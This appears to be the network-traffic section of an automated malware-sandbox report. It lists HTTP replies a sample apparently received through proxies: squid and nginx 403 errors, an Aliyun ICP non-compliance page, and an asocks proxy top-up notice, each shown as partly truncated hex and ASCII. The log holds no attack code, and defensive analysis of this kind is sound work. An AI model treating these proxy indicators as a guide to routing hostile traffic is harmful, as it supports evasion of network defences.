Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 34 38 33 35 30 32 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003904835024"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 14:21:03 GMTContent-Length: 101Content-Type: text/plain; charset=utf-8Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 14:21:04 GMTContent-Length: 101Content-Type: text/plain; charset=utf-8Data Raw: 48 54 54 50 2f 31 2e 31 20 34 30 33 20 46 6f 72 62 69 64 64 65 6e 0d 0a 50 6c 65 61 73 65 20 74 6f 70 75 70 3a 20 68 74 74 70 73 3a 2f 2f 61 73 6f 63 6b 73 2e 63 6f 6d 2f 61 64 64 2d 6d 6f 6e 65 79 2f 65 36 39 34 64 34 34 37 65 39 64 33 32 38 34 32 37 31 38 38 66 37 33 33 62 31 34 62 36 39 38 35 0d 0a Data Ascii: HTTP/1.1 403 ForbiddenPlease topup: https://asocks.com/add-money/e694d447e9d328427188f733b14b6985
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Mon, 11 Mar 2024 14:21:04 GMTServer: ApacheContent-Length: 199Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p></body></html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Mon, 11 Mar 2024 14:21:04 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 33 37 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314037"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/3.5.28Mime-Version: 1.0Date: Mon, 11 Mar 2024 14:21:04 GMTContent-Type: text/html;charset=utf-8Content-Length: 1002X-Squid-Error: ERR_ACCESS_DENIED 0Content-Language: enX-Cache: MISS from ah_testVia: 1.1 ah_test (squid/3.5.28)Connection: closeData Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 41 65 72 6f 68 69 76 65 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 57 65 62 20 50 61 67 65 20 42 6c 6f 63 6b 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 0a 0a 62 6f 64 79 0a 3a 6c 61 6e 67 28 66 61 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 30 30 25 3b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 54 61 68 6f 6d 61 2c 20 52 6f 79 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 66 6c 6f 61 74 3a 20 72 69 67 68 74 3b 20 7d 0a 3a 6c 61 6e 67 28 68 65 29 20 7b 20 64 69 72 65 63 74 69 6f 6e 3a 20 72 74 6c 3b 20 7d 0a 20 2d 2d 3e 3c 2f 73 74 79 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 20 69 64 3d 22 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 22 3e 0a 3c 64 69 76 20 69 64 3d 22 74 69 74 6c 65 73 22 3e 0a 3c 68 31 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 35 62 38 63 62 64 3b 22 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 61 6e 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: nginx/1.22.1Date: Mon, 11 Mar 2024 14:21:04 GMTContent-Type: text/htmlContent-Length: 555Connection: keep-aliveData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 32 32 2e 31 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>403 Forbidden</title></head><body><center><h1>403 Forbidden</h1></center><hr><center>nginx/1.22.1</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 34 30 38 36 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 3c 2f 68 74 6d 6c 3e 0a 0a Data Ascii: <html><head><meta http-equiv="Content-Type" content="textml;charset=UTF-8" /> <style>body{background-color:#FFFFFF}</style> <title>Non-compliance ICP Filing</title> <script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://batit.aliyun.com/alww.html?id=00000000003908314086"; }</script> </head> <body> <iframe style="width:860px; height:500px;position:absolute;margin-left:-430px;margin-top:-250px;top:50%;left:50%;" id="mainFrame" src="" frameborder="0" scrolling="no"></iframe> </body> </html>
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: squid/3.3.8Mime-Version: 1.0Date: Mon, 11 Mar 2024 14:21:02 GMTContent-Type: text/htmlContent-Length: 3656X-Squid-Error: ERR_DNS_FAIL 0Vary: Accept-LanguageContent-Language: enData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a 09 70 61 64 64 69 6e 67 3a 20 30 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 65 66 65 66 65 66 3b 0a 09 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 32 70 78 3b 0a 09 63 6f 6c 6f 72 3a 20 23 31 65 31 65 31 65 3b 0a 7d 0a 0a 2f 2a 20 50 61 67 65 20 64 69 73 70 6c 61 79 65 64 20 74 69 74 6c 65 20 61 72 65 61 20 2a 2f 0a 23 74 69 74 6c 65 73 20 7b 0a 09 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 35 70 78 3b 0a 09 70 61 64 64 69 6e 67 3a 20 31 30 70 78 3b 0a 09 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 20 31 30 30 70 78 3b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 68 74 74 70 3a 2f 2f 77 77 77 2e 73 71 75 69 64 2d 63 61 63 68 65 2e 6f 72 67 2f 41 72 74 77 6f 72 6b 2f 53 4e 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 65 61 74 20 6c 65 66 74 3b 0a 7d 0a 0a 2f 2a 20 69 6e 69 74 69 61 6c 20 74 69 74 6c 65 20 2a 2f 0a 23 74 69 74 6c 65 73 20 68 31 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 23 74 69 74 6c 65 73 20 68 32 20 7b 0a 09 63 6f 6c 6f 72 3a 20 23 30 30 30 30 30 30 3b 0a 7d 0a 0a 2f 2a 20 73 70 65 63 69 61 6c 20 65 76 65 6e 74 3a 20 46 54 50 20 73 75 63 63 65 73 73 20 70 61 67 65 20 74 69 74 6c 65 73 20 2a 2f 0a 23
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Mon, 11 Mar 2024 14:21:06 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: BeaverCache-Control: no-cacheContent-Type: text/htmlContent-Length: 635Connection: closeData Raw: 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 20 20 20 3c 73 74 79 6c 65 3e 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 46 46 46 46 46 46 7d 3c 2f 73 74 79 6c 65 3e 20 0a 3c 74 69 74 6c 65 3e 4e 6f 6e 2d 63 6f 6d 70 6c 69 61 6e 63 65 20 49 43 50 20 46 69 6c 69 6e 67 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6f 6e 6c 6f 61 64 20 3d 20 66 75 6e 63 74 69 6f 6e 20 28 29 20 7b 20 0a 20 20 20 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 67 65 74 45 6c 65 6d 65 6e 74 42 79 49 64 28 22 6d 61 69 6e 46 72 61 6d 65 22 29 2e 73 72 63 3d 20 22 68 74 74 70 3a 2f 2f 62 61 74 69 74 2e 61 6c 69 79 75 6e 2e 63 6f 6d 2f 61 6c 77 77 2e 68 74 6d 6c 3f 69 64 3d 30 30 30 30 30 30 30 30 30 30 33 39 30 38 33 31 33 38 37 34 22 3b 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 3c 2f 73 63 72 69 70 74 3e 20 20 20 0a 3c 2f 68 65 61 64 3e 0a 20 20 3c 62 6f 64 79 3e 0a 20 20 20 20 3c 69 66 72 61 6d 65 20 73 74 79 6c 65 3d 22 77 69 64 74 68 3a 38 36 30 70 78 3b 20 68 65 69 67 68 74 3a 35 30 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 34 33 30 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 2d 32 35 30 70 78 3b 74 6f 70 3a 35 30 25 3b 6c 65 66 74 3a 35 30 25 3b 22 20 69 64 3d 22 6d 61 69 6e 46 72 61 6d 65 22 20 73 72 63 3d 22 22 20 66 72 61 6d 65 62 6f 72 64 65 72 3d 22 30 22 20 73 63 72 6f 6c 6c 69 6e 67 3d 22 6e 6f 22 3e 3c 2f 69 66 72 61 6d 65 3e 0a 20 20 20 20 3c 2f 62 6f 64 79 3e 0a 20 20 20 20 20 20 